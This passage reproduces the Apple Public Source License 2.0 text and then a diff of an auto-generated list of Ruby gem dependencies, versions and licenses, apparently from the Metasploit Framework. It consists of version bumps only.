includes any entity which controls, is controlled by, or is under
|
||||
common control with, You, where "control" means (a) the power, direct
|
||||
or indirect, to cause the direction or management of such entity,
|
||||
whether by contract or otherwise, or (b) ownership of fifty percent
|
||||
(50%) or more of the outstanding shares or beneficial ownership of
|
||||
such entity.
|
||||
|
||||
2. Permitted Uses; Conditions & Restrictions. Subject to the terms
|
||||
and conditions of this License, Apple hereby grants You, effective on
|
||||
the date You accept this License and download the Original Code, a
|
||||
world-wide, royalty-free, non-exclusive license, to the extent of
|
||||
Apple's Applicable Patent Rights and copyrights covering the Original
|
||||
Code, to do the following:
|
||||
|
||||
2.1 Unmodified Code. You may use, reproduce, display, perform,
|
||||
internally distribute within Your organization, and Externally Deploy
|
||||
verbatim, unmodified copies of the Original Code, for commercial or
|
||||
non-commercial purposes, provided that in each instance:
|
||||
|
||||
(a) You must retain and reproduce in all copies of Original Code the
|
||||
copyright and other proprietary notices and disclaimers of Apple as
|
||||
they appear in the Original Code, and keep intact all notices in the
|
||||
Original Code that refer to this License; and
|
||||
|
||||
(b) You must include a copy of this License with every copy of Source
|
||||
Code of Covered Code and documentation You distribute or Externally
|
||||
Deploy, and You may not offer or impose any terms on such Source Code
|
||||
that alter or restrict this License or the recipients' rights
|
||||
hereunder, except as permitted under Section 6.
|
||||
|
||||
2.2 Modified Code. You may modify Covered Code and use, reproduce,
|
||||
display, perform, internally distribute within Your organization, and
|
||||
Externally Deploy Your Modifications and Covered Code, for commercial
|
||||
or non-commercial purposes, provided that in each instance You also
|
||||
meet all of these conditions:
|
||||
|
||||
(a) You must satisfy all the conditions of Section 2.1 with respect to
|
||||
the Source Code of the Covered Code;
|
||||
|
||||
(b) You must duplicate, to the extent it does not already exist, the
|
||||
notice in Exhibit A in each file of the Source Code of all Your
|
||||
Modifications, and cause the modified files to carry prominent notices
|
||||
stating that You changed the files and the date of any change; and
|
||||
|
||||
(c) If You Externally Deploy Your Modifications, You must make
|
||||
Source Code of all Your Externally Deployed Modifications either
|
||||
available to those to whom You have Externally Deployed Your
|
||||
Modifications, or publicly available. Source Code of Your Externally
|
||||
Deployed Modifications must be released under the terms set forth in
|
||||
this License, including the license grants set forth in Section 3
|
||||
below, for as long as you Externally Deploy the Covered Code or twelve
|
||||
(12) months from the date of initial External Deployment, whichever is
|
||||
longer. You should preferably distribute the Source Code of Your
|
||||
Externally Deployed Modifications electronically (e.g. download from a
|
||||
web site).
|
||||
|
||||
2.3 Distribution of Executable Versions. In addition, if You
|
||||
Externally Deploy Covered Code (Original Code and/or Modifications) in
|
||||
object code, executable form only, You must include a prominent
|
||||
notice, in the code itself as well as in related documentation,
|
||||
stating that Source Code of the Covered Code is available under the
|
||||
terms of this License with information on how and where to obtain such
|
||||
Source Code.
|
||||
|
||||
2.4 Third Party Rights. You expressly acknowledge and agree that
|
||||
although Apple and each Contributor grants the licenses to their
|
||||
respective portions of the Covered Code set forth herein, no
|
||||
assurances are provided by Apple or any Contributor that the Covered
|
||||
Code does not infringe the patent or other intellectual property
|
||||
rights of any other entity. Apple and each Contributor disclaim any
|
||||
liability to You for claims brought by any other entity based on
|
||||
infringement of intellectual property rights or otherwise. As a
|
||||
condition to exercising the rights and licenses granted hereunder, You
|
||||
hereby assume sole responsibility to secure any other intellectual
|
||||
property rights needed, if any. For example, if a third party patent
|
||||
license is required to allow You to distribute the Covered Code, it is
|
||||
Your responsibility to acquire that license before distributing the
|
||||
Covered Code.
|
||||
|
||||
3. Your Grants. In consideration of, and as a condition to, the
|
||||
licenses granted to You under this License, You hereby grant to any
|
||||
person or entity receiving or distributing Covered Code under this
|
||||
License a non-exclusive, royalty-free, perpetual, irrevocable license,
|
||||
under Your Applicable Patent Rights and other intellectual property
|
||||
rights (other than patent) owned or controlled by You, to use,
|
||||
reproduce, display, perform, modify, sublicense, distribute and
|
||||
Externally Deploy Your Modifications of the same scope and extent as
|
||||
Apple's licenses under Sections 2.1 and 2.2 above.
|
||||
|
||||
4. Larger Works. You may create a Larger Work by combining Covered
|
||||
Code with other code not governed by the terms of this License and
|
||||
distribute the Larger Work as a single product. In each such instance,
|
||||
You must make sure the requirements of this License are fulfilled for
|
||||
the Covered Code or any portion thereof.
|
||||
|
||||
5. Limitations on Patent License. Except as expressly stated in
|
||||
Section 2, no other patent rights, express or implied, are granted by
|
||||
Apple herein. Modifications and/or Larger Works may require additional
|
||||
patent licenses from Apple which Apple may grant in its sole
|
||||
discretion.
|
||||
|
||||
6. Additional Terms. You may choose to offer, and to charge a fee for,
|
||||
warranty, support, indemnity or liability obligations and/or other
|
||||
rights consistent with the scope of the license granted herein
|
||||
("Additional Terms") to one or more recipients of Covered Code.
|
||||
However, You may do so only on Your own behalf and as Your sole
|
||||
responsibility, and not on behalf of Apple or any Contributor. You
|
||||
must obtain the recipient's agreement that any such Additional Terms
|
||||
are offered by You alone, and You hereby agree to indemnify, defend
|
||||
and hold Apple and every Contributor harmless for any liability
|
||||
incurred by or claims asserted against Apple or such Contributor by
|
||||
reason of any such Additional Terms.
|
||||
|
||||
7. Versions of the License. Apple may publish revised and/or new
|
||||
versions of this License from time to time. Each version will be given
|
||||
a distinguishing version number. Once Original Code has been published
|
||||
under a particular version of this License, You may continue to use it
|
||||
under the terms of that version. You may also choose to use such
|
||||
Original Code under the terms of any subsequent version of this
|
||||
License published by Apple. No one other than Apple has the right to
|
||||
modify the terms applicable to Covered Code created under this
|
||||
License.
|
||||
|
||||
8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in
|
||||
part pre-release, untested, or not fully tested works. The Covered
|
||||
Code may contain errors that could cause failures or loss of data, and
|
||||
may be incomplete or contain inaccuracies. You expressly acknowledge
|
||||
and agree that use of the Covered Code, or any portion thereof, is at
|
||||
Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND
|
||||
WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND
|
||||
APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE
|
||||
PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM
|
||||
ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT
|
||||
NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
|
||||
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
|
||||
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
|
||||
PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST
|
||||
INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE
|
||||
FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,
|
||||
THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR
|
||||
ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO
|
||||
ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE
|
||||
AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.
|
||||
You acknowledge that the Covered Code is not intended for use in the
|
||||
operation of nuclear facilities, aircraft navigation, communication
|
||||
systems, or air traffic control machines in which case the failure of
|
||||
the Covered Code could lead to death, personal injury, or severe
|
||||
physical or environmental damage.
|
||||
|
||||
9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO
|
||||
EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,
|
||||
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING
|
||||
TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR
|
||||
ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,
|
||||
TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF
|
||||
APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY
|
||||
REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF
|
||||
INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY
|
||||
TO YOU. In no event shall Apple's total liability to You for all
|
||||
damages (other than as may be required by applicable law) under this
|
||||
License exceed the amount of fifty dollars ($50.00).
|
||||
|
||||
10. Trademarks. This License does not grant any rights to use the
|
||||
trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS",
|
||||
"QuickTime", "QuickTime Streaming Server" or any other trademarks,
|
||||
service marks, logos or trade names belonging to Apple (collectively
|
||||
"Apple Marks") or to any trademark, service mark, logo or trade name
|
||||
belonging to any Contributor. You agree not to use any Apple Marks in
|
||||
or as part of the name of products derived from the Original Code or
|
||||
to endorse or promote products derived from the Original Code other
|
||||
than as expressly permitted by and in strict compliance at all times
|
||||
with Apple's third party trademark usage guidelines which are posted
|
||||
at http://www.apple.com/legal/guidelinesfor3rdparties.html.
|
||||
|
||||
11. Ownership. Subject to the licenses granted under this License,
|
||||
each Contributor retains all rights, title and interest in and to any
|
||||
Modifications made by such Contributor. Apple retains all rights,
|
||||
title and interest in and to the Original Code and any Modifications
|
||||
made by or on behalf of Apple ("Apple Modifications"), and such Apple
|
||||
Modifications will not be automatically subject to this License. Apple
|
||||
may, at its sole discretion, choose to license such Apple
|
||||
Modifications under this License, or on different terms from those
|
||||
contained in this License or may choose not to license them at all.
|
||||
|
||||
12. Termination.
|
||||
|
||||
12.1 Termination. This License and the rights granted hereunder will
|
||||
terminate:
|
||||
|
||||
(a) automatically without notice from Apple if You fail to comply with
|
||||
any term(s) of this License and fail to cure such breach within 30
|
||||
days of becoming aware of such breach;
|
||||
|
||||
(b) immediately in the event of the circumstances described in Section
|
||||
13.5(b); or
|
||||
|
||||
(c) automatically without notice from Apple if You, at any time during
|
||||
the term of this License, commence an action for patent infringement
|
||||
against Apple; provided that Apple did not first commence
|
||||
an action for patent infringement against You in that instance.
|
||||
|
||||
12.2 Effect of Termination. Upon termination, You agree to immediately
|
||||
stop any further use, reproduction, modification, sublicensing and
|
||||
distribution of the Covered Code. All sublicenses to the Covered Code
|
||||
which have been properly granted prior to termination shall survive
|
||||
any termination of this License. Provisions which, by their nature,
|
||||
should remain in effect beyond the termination of this License shall
|
||||
survive, including but not limited to Sections 3, 5, 8, 9, 10, 11,
|
||||
12.2 and 13. No party will be liable to any other for compensation,
|
||||
indemnity or damages of any sort solely as a result of terminating
|
||||
this License in accordance with its terms, and termination of this
|
||||
License will be without prejudice to any other right or remedy of
|
||||
any party.
|
||||
|
||||
13. Miscellaneous.
|
||||
|
||||
13.1 Government End Users. The Covered Code is a "commercial item" as
|
||||
defined in FAR 2.101. Government software and technical data rights in
|
||||
the Covered Code include only those rights customarily provided to the
|
||||
public as defined in this License. This customary commercial license
|
||||
in technical data and software is provided in accordance with FAR
|
||||
12.211 (Technical Data) and 12.212 (Computer Software) and, for
|
||||
Department of Defense purchases, DFAR 252.227-7015 (Technical Data --
|
||||
Commercial Items) and 227.7202-3 (Rights in Commercial Computer
|
||||
Software or Computer Software Documentation). Accordingly, all U.S.
|
||||
Government End Users acquire Covered Code with only those rights set
|
||||
forth herein.
|
||||
|
||||
13.2 Relationship of Parties. This License will not be construed as
|
||||
creating an agency, partnership, joint venture or any other form of
|
||||
legal association between or among You, Apple or any Contributor, and
|
||||
You will not represent to the contrary, whether expressly, by
|
||||
implication, appearance or otherwise.
|
||||
|
||||
13.3 Independent Development. Nothing in this License will impair
|
||||
Apple's right to acquire, license, develop, have others develop for
|
||||
it, market and/or distribute technology or products that perform the
|
||||
same or similar functions as, or otherwise compete with,
|
||||
Modifications, Larger Works, technology or products that You may
|
||||
develop, produce, market or distribute.
|
||||
|
||||
13.4 Waiver; Construction. Failure by Apple or any Contributor to
|
||||
enforce any provision of this License will not be deemed a waiver of
|
||||
future enforcement of that or any other provision. Any law or
|
||||
regulation which provides that the language of a contract shall be
|
||||
construed against the drafter will not apply to this License.
|
||||
|
||||
13.5 Severability. (a) If for any reason a court of competent
|
||||
jurisdiction finds any provision of this License, or portion thereof,
|
||||
to be unenforceable, that provision of the License will be enforced to
|
||||
the maximum extent permissible so as to effect the economic benefits
|
||||
and intent of the parties, and the remainder of this License will
|
||||
continue in full force and effect. (b) Notwithstanding the foregoing,
|
||||
if applicable law prohibits or restricts You from fully and/or
|
||||
specifically complying with Sections 2 and/or 3 or prevents the
|
||||
enforceability of either of those Sections, this License will
|
||||
immediately terminate and You must immediately discontinue any use of
|
||||
the Covered Code and destroy all copies of it that are in your
|
||||
possession or control.
|
||||
|
||||
13.6 Dispute Resolution. Any litigation or other dispute resolution
|
||||
between You and Apple relating to this License shall take place in the
|
||||
Northern District of California, and You and Apple hereby consent to
|
||||
the personal jurisdiction of, and venue in, the state and federal
|
||||
courts within that District with respect to this License. The
|
||||
application of the United Nations Convention on Contracts for the
|
||||
International Sale of Goods is expressly excluded.
|
||||
|
||||
13.7 Entire Agreement; Governing Law. This License constitutes the
|
||||
entire agreement between the parties with respect to the subject
|
||||
matter hereof. This License shall be governed by the laws of the
|
||||
United States and the State of California, except that body of
|
||||
California law concerning conflicts of law.
|
||||
|
||||
Where You are located in the province of Quebec, Canada, the following
|
||||
clause applies: The parties hereby confirm that they have requested
|
||||
that this License and all related documents be drafted in English. Les
|
||||
parties ont exige que le present contrat et tous les documents
|
||||
connexes soient rediges en anglais.
|
||||
|
||||
EXHIBIT A.
|
||||
|
||||
"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights
|
||||
Reserved.
|
||||
|
||||
This file contains Original Code and/or Modifications of Original Code
|
||||
as defined in and that are subject to the Apple Public Source License
|
||||
Version 2.0 (the 'License'). You may not use this file except in
|
||||
compliance with the License. Please obtain a copy of the License at
|
||||
http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
file.
|
||||
|
||||
The Original Code and all software distributed under the License are
|
||||
distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
Please see the License for the specific language governing rights and
|
||||
limitations under the License."
|
||||
|
||||
+142
-122
@@ -1,52 +1,60 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 6.1.6, MIT
|
||||
actionview, 6.1.6, MIT
|
||||
activemodel, 6.1.6, MIT
|
||||
activerecord, 6.1.6, MIT
|
||||
activesupport, 6.1.6, MIT
|
||||
addressable, 2.8.0, "Apache 2.0"
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.598.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.317.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.69.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.0, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.10, ruby
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
digest, 3.1.0, "ruby, Simplified BSD"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.10.0, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 2.3.0, MIT
|
||||
faraday-net_http, 2.0.3, MIT
|
||||
faraday-retry, 1.0.3, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
faker, 3.2.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
gssapi, 1.3.1, MIT
|
||||
@@ -57,135 +65,147 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.10.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.3.6, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.2, ruby
|
||||
json, 2.6.3, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.18.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.9, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.39, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
minitest, 5.15.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.5.2, "Apache 2.0"
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.1, "ruby, Simplified BSD"
|
||||
net-ssh, 6.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.6, MIT
|
||||
nio4r, 2.5.9, MIT
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.24.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openssl-cmac, 2.0.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.1.2.0, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.3.5, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.7, MIT
|
||||
puma, 5.6.4, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.3.1, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-test, 1.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
railties, 6.1.6, MIT
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.23, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.5.0, MIT
|
||||
reline, 0.2.5, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.33, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.96, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.39, "New BSD"
|
||||
rex-sslscan, 0.1.7, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.38, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
recog, 3.1.2, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.39, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.54, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.11.0, MIT
|
||||
rspec-core, 3.11.0, MIT
|
||||
rspec-expectations, 3.11.0, MIT
|
||||
rspec-mocks, 3.11.1, MIT
|
||||
rspec-rails, 5.1.2, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.30.1, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.6, "New BSD"
|
||||
ruby_smb, 3.2.5, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sqlite3, 1.4.2, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.5, MIT
|
||||
timeout, 0.3.0, "ruby, Simplified BSD"
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.3, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.4, MIT
|
||||
tzinfo-data, 1.2022.1, MIT
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
